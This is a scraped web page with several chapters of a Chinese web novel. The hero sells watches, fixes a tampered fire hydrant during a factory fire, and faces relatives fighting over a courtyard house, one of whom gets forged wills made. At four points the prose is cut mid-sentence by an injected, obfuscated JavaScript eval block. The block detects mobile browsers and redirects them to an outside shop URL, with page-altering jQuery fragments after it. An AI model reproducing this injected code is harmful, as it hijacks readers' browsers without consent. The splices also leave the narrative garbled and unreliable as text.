“我不认识你,家电厂的老江是我兄弟,他是团团妈妈的堂哥,团团得喊他一声舅舅。”老张笑着自我介绍,“你喊我大力哥就好,我叫张大力。” 原来是这样。 吴旭东笑了:“大力哥,我这手表——” “我都要了,来,跟我拿钱。”张大力非常爽快,直接领着吴旭东去了财务部门。 一手交货,一手点钱。 这次不能再算零售价了,要按照进价来。 吴旭东自己稍微赚一点辛苦钱,于是男表定价35,女表49。 货款一共七万多。 用的也是点钞机,刷刷刷的,别提多效率了。 这下吴旭东无事一身轻,便干脆请张大力出去吃了顿饭。 席上,柯有钱感慨不已:“我就知道,我家老板人缘特别好,没想到会这么好。大力哥,这次沾你的光,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715350|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥儿几个终于可以找个酒店洗个澡睡一觉了。” “哈哈哈,我知道,你们是怕车上那么多货丢了赔不起吧,所以睡车上了?”这事张大力也干过,白手起家的人大多都是这么过来的。 柯有钱点头:“可不是,你看看我们三个,天天就找个小公园,跳进河里游一圈就算洗澡了,不容易啊。” 吴旭东笑笑没有说话,他也不想这样。 这不是怕手表丢了吗? 都是钱。 现在好了,所有的货都清了,可以回去了。 不过…… 既然张大力是家电厂那边介绍的,事成之后,还是要回一趟家电厂,请龚师哥和那个老江吃顿饭。 第二天一早,三个人神清气爽的出发了。 谢昌隆坐货厢里补觉,吴旭东开车,柯有钱一路跟他闲聊。 好奇道:“老板,咱们这趟出来赚了多少钱啊?” 吴旭东脑子里过了一遍,有1200左右的男表是零售出去的,女表是600左右。 家电厂那边收了300男表,100女表,价钱低了一档,单算。 剩下的都是张大力接手的,男表差不多1500,女表500左右,这一批是赚得最少的,但是胜在省事了。 他很快报了个数字:“九万五多点儿,等会问问隆哥。” 到了前面加油站,柯有钱钻到货厢里面,找谢昌隆拿来了账本。 加完油上路,他便核对了起来:“还真是啊!” 其实需要核对的只有零售的那些。 商场这边的金额和家电厂的金额都很好算。 零售的吴旭东经常抹零,有的买家也会砍个价,让个两三块钱,四五块钱的。 所以最后一核账,95699! 柯有钱惊呆了:“可以啊老板,你怎么算出来的,太准了!” 吴旭东笑了:“哪儿准了,只是大概估算一下。” “已经很准了!老板,你这次回去把我和隆哥一起带走吧,我们以后跟你混。”柯有钱反正没有正式工作,他以前不爱学习,没有学历,又不老实,喜欢找人打架,所以口碑不好。 找工作成了老大难。 吴旭东没意见:“好,我还有个兄弟,这次帮我守四合院受伤了,等等带你们一起去见见,以后咱们四个就是拜把子的生死之交了。” “好嘞,那我不叫你老板了,我叫你哥。”柯有钱傻呵呵的乐得不行。 吴旭东沉思片刻,反问道:“你不是比我大吗?” ……对哦,柯有钱傻眼了。 沉思片刻,笑道:“那不管,总之,你比我厉害,你就是我哥。对了东哥,我和隆哥这次跟你出来,有没有辛苦费啊?” “当然有,都是自家兄弟了,我会亏待你们吗?”吴旭东想好了,给这两人一人分一万吧,跟着他睡了好几天货车,怪辛苦的。 到了大学那边,吴旭东便数了两万出来,一人一万。 谢昌隆觉得给多了,数了八千还给吴旭东,吴旭东没要,说一万就一万。 柯有钱倒是没有推辞,只是不敢相信,他家东哥居然说话算数,真的给他一万啊。 他这辈子就没见过这么多钱,激动得像个峨眉山的猴子,叽叽哇哇的,不知道的还以为他被什么东西咬了呢。 吴旭东哭笑不得,等到周子琛从校门口出来,便一起往家电厂去了。 今天好好吃一顿,休息休息,明天回北京。 车子刚在厂门口停下,便看到一群工人神色慌张的从厂里跑了出来,嘴里还喊着快打119。 吴旭东下车一看,不好,着火了。 赶紧叮嘱周子琛:“你别下来,我的钱都在车上,你给我看好了。” 随后招呼谢昌隆跟柯有钱,三人一起冲进了失火的厂区。 38. 人脉 吴旭东直奔消防栓去了。 这么大的一个厂子,失火了居然没人使用消防栓? 这不太对劲,就算普通工人不会,那厂里的安全保卫部门呢? 都是吃干饭的? 到那一看,他才恍然,原来室外消防栓用不了了。 他捡起扔在地上的水枪,把扭曲的水带整理好,拧开阀门试了试,没有水,怪了,表面上看不出任何的损坏。 难道是进水的总阀被人关了? 他让柯有钱去厂区西南角的水管总阀去看看。 柯有钱一头雾水的看着他:“东哥,你对这里怎么这么熟悉啊?” “昨天来过。”吴旭东没空八卦,沉着脸,催促道,“快点去,我来排查消防栓的问题。” 一旁的谢昌隆没等他开口,已经转身找工具去了。 柯有钱见状,赶紧去找水阀,好歹尽一点绵薄之力。 附近的工人不断往厂区外面奔跑,从吴旭东身边路过时,有人会催促他一起逃命。 都是昨天说过话的热心师傅。 吴旭东摆摆手,让他们赶紧去帮忙找一套维修工具给他。 现在他两手空空,只能松开水带的卡扣,围着消防栓认认真真的观察起来。 很快,他注意到了一丝异常。 消防栓的主体管道是三通出水口,左右两边分别是一个65mm的出水口,连接消防水带使用。 正中是一个10cm的大出水口,给消防车加水用的。 红色的三通管道下面,是一段黑色的管道,上面有一个凸出的螺栓一样的东西。 这是低泄高封阀。 当消防栓处于使用状态的时候,整个管道里面会充水,使用过后,如果不能及时把水排走,时间长了,必然导致管道内部腐蚀生锈,影响部件的寿命,也耽误正常使用。 所以设计出了这么一个东西。 位置很低,在消防栓的根部,里面有一个弹簧,当消防栓处于使用状态的时候,高压充水的环境会把弹簧压住,堵住出水口,形成了所的“高封”。 当消防栓使用完毕,水压降低,弹簧便会松开,露出里面的出水口,这样就可以把管道里多余的水量排泄出去,这就是所谓的“低泄。” 现在不知道为什么,低泄高封阀被人从外面堵死了。 还用黑色胶布沿着消防栓的黑色管道包了好几圈。 吴旭东赶紧把胶布撕开,里面滴滴答答,流淌出铁锈色的液体。 糟了,估计是哪个外行自作聪明,想给厂里省点水。 没文化真可怕。 他赶紧起身,先把消防水带卷卷好。 这个厂区明显不注重消防安全,水带已经扭曲得不成样子了,一看就是用的单卷的方式。 这样不仅影响出水,还会耽误救援。 正确的方式,应该是把水带对折卷起,也就是所谓的双卷。 这样使用的时候,就可以把水带卷抛掷出去展开,一头是接水的卡扣,一头是水枪,只要操作正确,消防栓也没有问题,就可以最大限度减少着火点的损失。 他刚整理完水带,谢昌隆过来了,提着一个专业的维修工具箱。 吴旭东赶紧接过来,打开一看,居然连万向节都有。 不禁好奇:“哪儿来的?” “龚主任给我的,他被烧伤了胳膊,我让他去处理伤口了。”谢昌隆赶紧蹲下帮忙。 吴旭东不再废话,拆了消防栓的天灵盖儿,打开后提起里面的T型丝杆,果然生锈了。 真是被那个包胶带的人坑死了。 吴旭东不敢耽误,继续拆解。 毕竟消防队离这里有段距离呢,就算来了,消防栓出不了水也是白搭。 一旁的谢昌隆神色凝重,时不时看一眼身后着火的厂区,顺手给吴旭东递个工具,再把卸下的螺帽等零件收好。 很快,吴旭东直起身来,催促道:“还好,密封垫圈没有影响,快去给我找点机油来,丝杆上上油,应该能行。” 谢昌隆赶紧去旁边没有着火的厂区找机油。 很快回来。 两人一起,很快把T型丝杆重新安装了回去。 天灵盖一装,阀门一拧。 出水了! 吴旭东赶紧把阀门关上,拿起水带的卡扣,接上后叮嘱道:“你把阀门一点点慢慢拧到最大,千万不要一下拧到最大。” 这样容易把他甩飞出去。 叮嘱完,他抱起前面的水枪,飞奔向身后的着火点。 谢昌隆配合得非常到位。 等吴旭东来到着火的厂区门口时,阀门刚好拧到了最大。 高压水枪对准着火点,吴旭东弓步向前,跟无情的大火争夺时间。 十分钟后,消防队终于赶到,接上消防栓的消防车专用出水口,架起了云梯,向更高处的火焰喷射。 柯有钱赶来的时候,已经什么忙也帮不上了,只是默默地站在安全范围之外,注视着他刚刚认下的拜把子大哥。 真帅啊,真有种啊! 难怪比他年纪小都有老婆了。 女生肯定喜欢这种男人啊。 毫无疑问的。 他也想做点什么,起码弄点饮用水,免得东哥隆哥和消防员们口干舌燥。 他赶紧扭头,找水去了。 厂房远处的停车场上,周子琛拿着大哥大,正在跟家里汇报情况:“没事了爸,姐夫把消防栓修好了,出水了。” “他人没事吧?” “人没事,他很聪明,没有蛮干,放心吧。” “那就好。有记者在现场吗?” “刚到,史青霞上次大出风头,调到电视台去了,今天来的又是她。” “你记得提醒她,不要提你姐姐的名字。” “知道了爸。” 周子琛挂了电话,跟史青霞打招呼去了。 史青霞明白:“放心,顶多跟那些军嫂一样,说他是军人配偶,不会提你姐姐名字的。” 周子琛放心了,回到车上,继续做个看钱的门神。 他拿起记账本看了看。 嘿,他这姐夫,还真是能耐,两千多块手表,昨天真的一次性卖完了。 这人脉真不是吹的。 还是他爸妈眼光好,一听说姐姐要跟吴旭东结婚,立马举双手赞成。 真是慧眼如炬啊。 这么一个男人,干什么不会成功? 挺好的。 他把记账本放下,又拿起大哥大,给南南姐和北北姐知会一声。 也让她们知道,她们这个弟弟是多么的出色。 “北北姐,这下不笑我姐做无用功了吧?” “哎呀子琛,我都说了,是我不好,我错了,你就别笑话我了。” “没笑话你,就是跟你说一声。” “东东没受伤吧?” “没有。” “那就好,你也注意安全。” 周子琛哪里是在笑话南北姐妹,其实他是在笑话自己。 毕竟,他也无数次劝说他姐打消找人的念头。 现在被打脸的何止吴家的人,还有他呢。 他从车上下来,默默注视着逐渐熄灭的火焰。 姐,你知道了一定会高兴的吧。 你的小东可真给你长脸啊。 * 因为吴旭东维修好了消防栓,帮助家电厂挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720123|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了不少损失,为此,电视台和报纸很是努力的报道了一番。 不过,吴旭东不肯接受正面的采访,所以不管是电视台的镜头里面,还是报纸的版面上,都只出现了他的背影。 史青霞是个妙人,居然在报道里用上了“军姐夫”这个词语。 对应“军嫂”一词,告诉大家,这位英勇救火的热心市民,其实是个女兵的配偶。 吴旭东从老江叔叔一家的恩公,一跃成了整个家电厂的恩公。 老江感激不已,说什么也要给他五万块做感谢。 吴旭东死活不肯收,见老江还想坚持,干脆放了狠话:“你也听到了,我是军人的配偶,你这不是要我犯错吗?” 老江沉默了。 是啊,这要是个普通市民,收了也就收了。 可是军人配偶的话,哎,算了。 不过这次他说什么也要带吴旭东回一趟家里。 老江的叔叔得到消息,已经在家里置办了一桌酒席,要亲自道谢。 吴旭东推辞不过,便领着周子琛他们一起去了。 再见团团,已经是个一年级的小学生了。 小姑娘白白净净的,扎着丸子头,穿着鹅黄色的花瓣裙,可爱得让人心都化了。 可惜当初被人贩子拐卖的时候,为了防止她挣扎,人贩子打过她,以至于她的左边脸上留下了一道五厘米长的伤疤,从脸颊一直延伸到了耳朵那里。 虽然三年过去了,疤痕还是没有消失。 淡淡的一道,只怕要伴随孩子一生了。 不过,江家人对团团的心理疏导做得很到位。 孩子身上看不出一丝一毫的影响,反倒是笑盈盈的,像个快乐的小黄鹂鸟。 见到吴旭东,立马扑了上来:“吴叔叔!” 吴旭东赶紧蹲下,抱住这个小乖乖:“你怎么知道叔叔姓吴?” “姥爷说哒!”团团亲了亲这个好心的叔叔,“吴叔叔,姥爷说你结婚啦,你怎么不带婶婶过来?你们有宝宝了吗?” 吴旭东哭笑不得:“婶婶是军人啊,在保家卫国呢。所以她很忙,暂时还没有空跟叔叔生宝宝。” “哦,那好吧,吴叔叔,以后你们要是有了宝宝,记得带她来找我玩哦。”团团歪着小脑袋,可可爱爱的。 吴旭东忍不住去想,有朝一日,他也会有个这么可爱的闺女吧。 真期待。 他笑着应道:“好,到时候你就是她的姐姐,拜把子,义结金兰。” “拉钩!”团团伸出右手小拇指,笑着露出豁了的门牙,“拉钩上吊,一百年不许变!” 哈哈哈,吴旭东心情大好。 吃饭的时候也要跟团团坐在一起。 老老江含笑看着他们,走的时候,塞了厚厚一把名片给吴旭东:“这些都是我的朋友,以后做生意需要帮忙的,尽管跟他们开口。” 吴旭东没有推辞。 这是善缘,他应该收下。 车子离开,团团一路追了出来,用力挥手。 吴旭东从后视镜里看着她,下意识摸了摸右臂的一道伤疤,那是救团团的时候留下的。 苦难里开出的花,原来也可以是甜的。 真好,他不后悔。 现在,该回去跟那些帮忙的叔叔阿姨道谢了。 * 吴家栋的小舅子想方设法救他出去。 结果处处碰壁。 没办法,吴国秀把事情闹大了,铺天盖地的报道,谁也不敢徇私舞弊,只能等开庭。 他气不过,不想让吴国正一家好过,便给吴燕西打了个电话。 吴燕西惊讶得声音都劈叉了:“什么,我爷爷留了四合院给我爸?” 39. 争产(1)(二更) 吴燕西气死了。 这段时间,他把能想的办法都想了。 亲戚朋友,单位同事,爸妈以前的邻居…… 该打听的都打听了,还是找不到他老子搬哪儿去了。 最后没办法,只好去找房产中介。 给了一百块钱好处费,这才找到了他老子新买的房子在哪里。 居然是一个新小区,配套特别完善,出门就是省重点高中,夜里没有喧哗声,安静得很。 赶紧拖家带口找上门去,却没有人应门。 连着好几天,家里连个灯都没亮,看来是去了外地了。 难道是去给他妈妈看病了? 看看也好,免得痴痴傻傻的,拖累全家。 不过,既然找到了他老子的住处,他就不可能再回职工宿舍了。 条件太差。 管道老化,自来水一股怪味儿。 电线也不太行了,多开一个电风扇就跳闸。 又挤,又闷,孩子们也住在一起,夜里夫妻俩做点什么都不方便。 由奢入俭难啊。 索性,找人撬了门锁,换了新锁,直接住了进去。 反正是他自己老子的,以后死了不还是他的。 没什么分别。 今天他正好回职工宿舍搬东西,电话便来了。 挂断电话,他整个人都傻了。 嘴里不断念叨着,四合院,四合院。 就连上楼梯的时候,也有点恍惚。 以至于顾蔓蔓扛着被子下来的时候,看到他那一脸的窝囊样,忍不住骂了两句:“要死啊,半天不上来,这么多东西,我一个拿得了吗?” 吴燕西猛地抬起头来,咧嘴一笑:“蔓蔓,我知道我爸去哪儿了。” 顾蔓蔓蹙眉,把编织袋塞他怀里,吼道:“我管他去哪儿了,你赶紧帮我扛着。” 吴燕西不生气,谁让他是个妻管严,习惯了。 接过鼓鼓囊囊的编织袋,他也不下楼,就这么杵在楼梯口,贴在顾蔓蔓的耳朵边上,如此这般的学了一遍李宏进的话。 顾蔓蔓乐了:“个老不死的,我就知道他肯定还藏着什么好东西没告诉咱们。我前阵子可是听说了,有人在四合院的地底下挖出不少宝贝呢,要不咱也去北京看看?” 反正马上中秋了,要放假。 而且她那个厂子半死不活的,指望不上了。 再说了,等到吴旭东真的把厂子收购了,她还怎么上班? 小叔子做老板,嫂子给他打工? 不去也罢。 就是可惜,厂里还拖欠了她几个月的工资。 不管了,先去北京看看怎么回事,回来再要。 吴燕西倒是没意见,只是好奇:“那城中村拆迁的事怎么办?” “那个不急,到现在还没商量好到底按人头算补偿款还是按面积算,且有得闹呢。”顾蔓蔓脑子里自带一把算盘,哗啦一甩,噼里啪啦一算,这事可以缓缓,先把四合院抢过来再说。 吴燕西没意见,那可是北京的祖产,万一地底下真的挖出点什么来,岂不是一辈子吃穿不愁? 赶紧把东西搬到他爸房子里,锁了门,买车票去了。 至于两个孩子…… 吴燕西问顾蔓蔓:“超男和亚男怎么办?” 顾蔓蔓也很头疼,要是娘家人没躲到乡下去,她还能把孩子送娘家去。 现在只能拜托其他的亲戚朋友了。 沉思片刻,她想了个馊主意:“送你小姨那里?” “嗯,也只能这样了。”吴燕西连借口都想好了,就说去北京看望受伤的大姑。 孩子要上学,带着不方便。 至于他自己的工作,那个好说。 老师之间帮忙调个课再正常不过。 于是很快,两人把孩子送到了谈九妹家门口。 谈九妹下班回来,看到这对无耻的男女,气得要拿扫帚撵人。 顾蔓蔓求之不得呢,谈九妹一撵,正好给了他们开溜的借口。 扔下孩子,二话不说,耗子似的蹿了出去。 可怜谈九妹,为她三姐一家子操心了大半辈子,老了老了,还要给他们一家带孩子。 真是气死了。 可是两个女娃还小…… 不能真的不管。 哎。 叹了口气,谈九妹一手牵着一个孩子,苦哈哈的做饭去。 * 吴家栋的小舅子叫李宏进。 因为是早产儿,所以生下来先天不足,又小又瘦,又干又瘪。 颧骨突出,眼窝深陷,一副命不久矣的衰样。 走在路上,如同一具飘忽的骷髅架子。 然而偏偏是这样的一个人,至今活蹦乱跳的。 正应了那句,祸害遗千年。 挑唆完吴燕西,他便挂了电话,继续想别的办法去了。 倒不是他跟吴家栋感情好,而是他这几年混得不好,还指望抱他姐夫的大腿过活呢。 毕竟吴家栋是汽运站的调度员,端的是个铁饭碗,还能开开后门,给他安个汽车售票员的工作。 要是吴家栋真的进去了,只怕他的工作也保不住了。 只能削尖了脑袋想办法。 折腾好几天,终于有个头脑灵活的朋友给他出了主意。 对方是个脑袋细长,脸型瘦削的男人,像是枣核儿成精了一样,眼里满是算计。 社会上行走,人送外号十四少。 原因无他,是个花钱买快活的惯犯。 别管是藏在胡同犄角旮旯里的,还是蜗居在大杂院里的,亦或是一大家子挤在筒子楼里的。 只要是做这个营生的,他都认识。 也正因为这个,跟别的客人大打出手,进去蹲了两年,刚出来不久。 他坐在李宏进家里,一边往嘴里剥花生,一边翘着个二郎腿道:“这个案子最关键的问题在于,四合院的归属权到底是谁。如果是你姐夫的,他挖自己家的院子不是天经地义吗?吴国秀他们私闯民宅闹事,你姐夫一家还手,属于自我保护,可以做无罪辩护。” 李宏进似有所悟:“那这房子如果是吴国正一家的——” “那没辙了,等着你姐夫坐牢吧,不过他的子女应该问题不大,动手少的拘留个几天就出来了,总之他和他那几个姐夫是逃不掉的。”十四少说着呷了口小酒,惬意地眯上了眼睛。 李宏进明白了,得找个懂法的,想办法把四合院辩护成吴家栋他们的。 当务之急,是把另外几个有遗嘱的人给收买了,只要他们愿意作证,当初的遗嘱是假的,那这事就有的拉扯了。 李宏进赶紧去运作。 他找到吴孟甫的那个警察朋友。 对方比吴孟甫小了十来岁,今年还没有退休。 见到李宏进,立马猜到了来意,闭门谢客,不见。 李宏进又去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720315|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找那个朝阳门的老头。 都是手里有遗嘱的人。 结果那老头更不给面子,直接让他儿媳妇把刷锅水倒在了李宏进脚下,撵人。 李宏进气得放了狠话:“老东西,别得意!小心你孙媳妇的孩子生出来没pi眼儿!” 老头子理都不理,只管去逗笼子里的八哥儿。 李宏进愁啊。 四处碰壁,走投无路。 索性豁出去了,再次找到十四少。 “听说你认识一个造假的高手?”李宏进好酒好肉的供着,想要那个人的地址。 十四少吃得油光满面,吃完,一边慢条斯理的剔牙,一边拿眼角余光去勾李宏进的儿媳妇。 少妇风韵,最合他胃口。 李宏进一看,懂了。 这畜生想占他儿媳妇的便宜。 这要是让他儿子知道了,不得杀了这个畜生。 李宏进不答应:“你给我正经一点儿,不行我给你拿个一两百的,你去外面快活去。” 也行。 十四少伸手要钱。 李宏进叹了口气,回里屋拿钱去。 “别叹气啊,我知道你住在这大杂院里受委屈了。要是你帮你姐夫把房子抢过来,怎么着不能给你半边院子住一住?眼光放长远一点,舍小利,才能钓大鱼。”十四少倒是挺会劝人。 一句话就戳中了李宏进的痛点。 是啊,住在这里憋屈啊。 当初要不是吴国美的男人跟他对着来,他也不至于混得这么惨。 还好那个畜生死了,该。 想到这里,李宏进深吸一口气,拿了两百块出来。 十四少倒是说话算数,立马写下了地址,叮嘱道:“可千万不能声张,要是让警察知道了,不少人都要遭殃呢。” 这个遭殃,当然是指虚假的证件所带来的影响。 李宏进明白,赶紧去找那高人,仿着吴孟甫的笔迹,写了几封假的遗嘱。 四合院的继承人,摇身一变,成了吴家栋。 连吴仲和都省去了。 李宏进拿上假遗嘱,终于松了口气。 要是这都没用,那就只能听天由命了。 * 吴旭东的车在半路被人拦了下来。 是个女大学生,长得还算可以,穿着校服,背着双肩包,一脸的寒意。 来者不善。 吴旭东赶紧靠边停车。 一旁的柯有钱立马打开车门下去,问问她想做什么。 “姑娘,怎么了,想不开啊,闹自杀?”柯有钱没见过这样的,实在想不到别的原因了。 柴娟冷笑一声,看都不看他,依旧拦在车道的正中央。 吴旭东明白了,找他的。 可是这里停车不合适,万一交警来了,还得贴罚单。 他摁了下喇叭:“前面有个公园,我到那里等你。” 柴娟一把搡开柯有钱,直接上了副驾驶。 气势汹汹的命令道:“快开啊。你这朋友自己有腿,可以走过去。” 吴旭东没见过这样蛮不讲理的女人,不高兴了,直接从驾驶座下来:“有钱,你来开,到公园等我。” 柴娟跟了下来,柯有钱赶紧开车离开。 吴旭东站在大马路上,盯着这个女生反复打量。 似曾相识的五官,给了他些许的暗示。 他冷着脸问道:“你是光头的什么人?” 40. 争产(2) 柴娟没有回答。 她握着肩上的背包带子,指甲嵌入手心,火辣辣的疼。 面前的男人白净帅气,身量挺拔,像是一株遗世独立的白玉兰。 秋日街头的风随意一撩,便将他身上的烟草气息扑了她一脸。 她讨厌烟味,下意识皱眉,后退半步,死死地盯着这个男人。 需要非常用力,才能忍住不去打他骂他。 她就那么一个哥哥,就这么被这个男人害死了。 她不能不恨。 可是,警察说她哥哥是人贩子,为了逃避抓捕,这才惊慌失措走错路,摔下悬崖。 这两个多月来,她简直太煎熬了。 她不信,她一点也不信。 她哥哥那么好,那么那么的好,怎么可能是人贩子? 她是她哥哥养大的。 妈妈生她的时候四十多岁,大出血死了,爸爸觉得她晦气,要把她扔了,是哥哥救了她,宁可跟爸爸决裂,带着她北上投奔外祖家,也要把她养大。 所以兄妹俩都改随妈妈姓柴,不再跟爸爸姓蒋。 这些年来,哥哥辛辛苦苦跑货赚钱,把她拉扯成人,还供她上大学。 这么好的一个哥哥,绝对不可能是人贩子。 绝不! 怨恨的泪水落下,她终于开口质问:“你说我哥是人贩子,你有证据吗?就不能是你自己拐卖了别人家的孩子,贼喊捉贼,故意摆功劳?” 吴旭东觉得这女人的脑子坏掉了,懒得废话,转身就走。 柴娟追了上来,扯住他的衣袖,不肯松手:“我问你话呢!” 吴旭东嫌弃地盯着自己的袖子,可惜了,好好的衣服,被人贩子的妹妹弄脏了。 二话不说,直接撕了这只袖子,扔在地上,扬长而去。 柴娟还想追,躲在一旁巷子里的毛文秀赶紧跑了出来,劝道:“你干嘛拉拉扯扯的呀,他是男人,要是推你两下子,吃亏的是你。” “他不理我,他不理我!他心虚了对不对?一定是心虚了!”柴娟哭得伤心。 要不是哥哥每次赚了钱都以她的名义往存折上存个千儿八百的,她这学期就得辍学了。 她不信的,绝对不信她哥哥这么残忍,这么缺德。 她不信! 毛文秀也不信啊,可是事实摆在眼前。 只得劝道:“你呀,警察还能骗你吗?你就不该来找他!他自己就是被拐卖的,要不然,谁会冒着生命危险去跟人贩子较劲啊。” “我不信,就是不信!”柴娟已经失去了思考的能力。 至亲的大哥死了,嫂子也一起烧成了焦灰,她完了,她彻底完了。 从今往后,这世上只有她自己了。 舅妈不喜欢她,整天把“克母的扫把星”挂在嘴上。 舅舅惧内,敢怒不敢言。 是哥哥护着她,她才能平安长大,是哥哥辛苦赚钱,她才有钱上大学。 这么好的哥哥,绝对不可能是人贩子。 绝对! “可是你也看到了,吴旭东真的是从老江家里出来的。新闻里也说了,他三年前救了江厂长的外甥女,今天又救了江厂长的家电厂。他真的一直在抓人贩子啊,不会搞错的。”毛文秀还是比较冷静的,她不断劝说,“江家这么有钱,没必要配合这么一个穷学生演戏吧,更没有必要牺牲自己的家电厂,让他摆什么功劳呀。” “你那么向着他,不就是看他跟周子琛一起摆了几天的摊吗?你想什么呢,周子琛不过是闲得无聊,打工玩玩。他那样的家庭,绝对不可能跟这种穷鬼产生交集!”柴娟还在自欺欺人。 毛文秀恼了:“你怎么说话呢?我是那样的人吗?你讲点道理吧,你也知道他是穷鬼啊,穷鬼有什么能力收买警察为他说话?你不会以为这世上除了你自己,其他人都是傻子吧?警察抓人是讲证据的,你醒醒吧!” 说罢,毛文秀直接走了。 谁会喜欢人贩子的家属啊,不过是看柴娟不知情,又是个妈妈早死爸爸不疼的可怜虫。 要不然,她才不想给自己惹一身骚呢。 毛文秀走后,柴娟蹲在马路牙子上,失声痛哭。 不知道什么时候下起了雨,也不知道自己怎么走回学校的。 她只知道,她完了,她连最后的朋友也失去了。 从今往后,她就是孤家寡人了,彻底的,完完全全的。 回去后便发起了高烧。 这要是搁以前,毛文秀肯定会帮她买药,嘘寒问暖的照顾她。 可是今天,毛文秀申请调寝了。 她回来的时候,六人宿舍只剩下了五个人。 她果然是个扫把星,对她好的人一个也留不住。 * 吴旭东回到车上,自己开车。 柯有钱好奇得不行,问了好几遍那女人是谁。 “疯狗。”吴旭东叼着烟,从牙缝里吐出两个字。 雨太大,他打开雨刷,稳稳当当地在暴雨里前进。 夜里到了北京,直接回了四合院。 北京没下雨,月朗星稀,他想一个人静静,明天再去手表厂核账。 打开门一看,他都傻了。 他那对奇葩的哥哥嫂子来了,正拿着铁锨,满院子乱挖。 幸亏他走的时候叮嘱大姑把古董都收起来了。 他看着这两个吴扒皮,默默的点了根烟,眯着眼问道:“谁让你们进来的?” 吴燕西一到北京就来挖宝了,熬到半夜,一口饭也没吃。 眼里布满了血丝。 说不清到底是累的,还是红眼病发作。 他握着铁锨的手柄,大喘着气:“怎么,你以为这四合院是你的?” 吴旭东懒得废话,吐了一串烟圈,走进去,夺走了吴燕西手里的铲子。 顾蔓蔓见状,扑上来想跟他打架。 他懒得动手,直接把铲子当成标枪,往她脚底下一掷,差点扎到她的脚。 吓得顾蔓蔓后退两步,站在了乱糟糟的土堆上。 “你想干什么?想杀人?你信不信我报警抓你!”顾蔓蔓简直快疯了,挖到现在什么都没有,一定是吴旭东把好东西挖走藏起来了。 吴旭东嗤笑道:“好啊,你现在就报警,我等着。” “你!”顾蔓蔓大喘着气,气得想冲上来掴他嘴巴子。 可是看看这个小叔子的身高,再看看她自己…… 算了,先吵吵两句,气势上扳回一局也行。 吴旭东掏出裤兜里厚厚的那一摞名片,果然,有当老板的,也有当律师的。 不过,何必舍近求远呢? 他老婆的大表哥安正则不就在法院工作吗? 他把名片放回裤兜里,深吸一口,道:“孩子被你们扔小姨家了吧?” “关你什么事?”顾蔓蔓一把拽过吴燕西,挡在了自己面前。 要是吴旭东敢动手,那就从他亲大哥的身上越过去。 吴旭东背靠在门框上,看着头顶的星空:“小姨跟安正则关系不错吧,你说,他要是知道你们干的好事,会帮你们,还是帮我?” 顾蔓蔓愣住了。 是啊,安正则在法院工作,如果真的闹起来,安正则肯定是帮吴旭东。 毕竟他和他妹妹当初能回安家,是他们六姑姑帮的忙。 而他们的六姑姑,是周子琰的妈。 吴旭东的丈母娘。 谁会放着亲姑姑的孩子不帮,去帮一个没有血缘关系的,继母的侄子。 可是越是这样,顾蔓蔓越是生气:“你少仗势欺人,小心我告你表舅哥假公济私。” “笑话,你当法院的人都是傻子?”吴旭东不想再废话,转身道,“顾蔓蔓,想要这间四合院,先把你欠我爸的钱还上。否则的话,别怪我不客气。” “你说我欠钱我就欠钱了?你谁啊?再说了,那是你一个人的爸爸吗?别太无耻!”顾蔓蔓气得浑身发抖,要不是估计自己打不过,她已经冲上来动手了。 吴旭东把最后一口烟圈吐出来,冷笑道:“别管我是谁,你只要知道,你打的欠条,都在我手里,这就够了。” 放完狠话,吴旭东便走了。 今天真是晦气,连着遇上三条疯狗。 四合院是睡不成了,货款又在车上,还是去大姑家凑合一晚上吧。 吴旭东走后,顾蔓蔓一下子跌坐在土堆上,失重的感觉太强烈,以至于她半天都爬不起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724616|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴燕西去拽她,她却恶狠狠地甩开了吴燕西,骂道:“都怪你!去年死老头子叫我打欠条,你居然不帮我!” 以至于吴国正抓住她急等着用钱的心理,逼着她把前几次的欠条一起补上了。 一共十九万八,如果吴国正真的起诉她还钱,就算她把娘家的房子拿回来,估计还完钱也剩不了多少了。 